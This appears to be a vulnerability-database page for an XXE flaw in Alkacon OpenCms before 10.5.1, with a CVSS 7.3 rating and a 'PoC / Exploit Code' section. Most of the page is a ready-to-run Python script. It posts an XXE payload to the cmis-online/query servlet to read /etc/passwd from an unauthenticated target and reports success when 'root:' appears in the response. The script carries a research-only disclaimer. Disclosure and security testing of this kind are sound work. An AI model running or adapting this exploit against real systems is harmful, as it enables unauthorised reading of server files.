Alkacon OpenCms before 10.5.1 allows remote unauthenticated attackers to obtain sensitive information via a cmis-online/query XXE attack on a Chemistry servlet.
CVSS Details
CVSS Score
7.3
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
Configurations (Affected Products)
No configuration data available.
Alkacon OpenCms < 10.5.1
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests
# Target URL, replace with actual target
url = "http://target:8080/opencms/cmis-online/query"
# XXE Payload attempting to read /etc/passwd
xxe_payload = """<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<cmis:query xmlns:cmis="http://docs.oasis-open.org/ns/cmis/core/200908/">
<cmis:statement>SELECT * FROM cmis:document WHERE &xxe;</cmis:statement>
</cmis:query>
"""
headers = {
"Content-Type": "application/xml"
}
try:
# Sending the POST request
response = requests.post(url, data=xxe_payload, headers=headers, timeout=10)
# Checking if the attack was successful
if response.status_code == 200 and "root:" in response.text:
print("[+] Vulnerability Exploited Successfully!")
print("[+] Response Content:")
print(response.text)
else:
print("[-] Exploit failed or target not vulnerable.")
print("[-] Status Code:", response.status_code)
except Exception as e:
print(f"Error: {e}")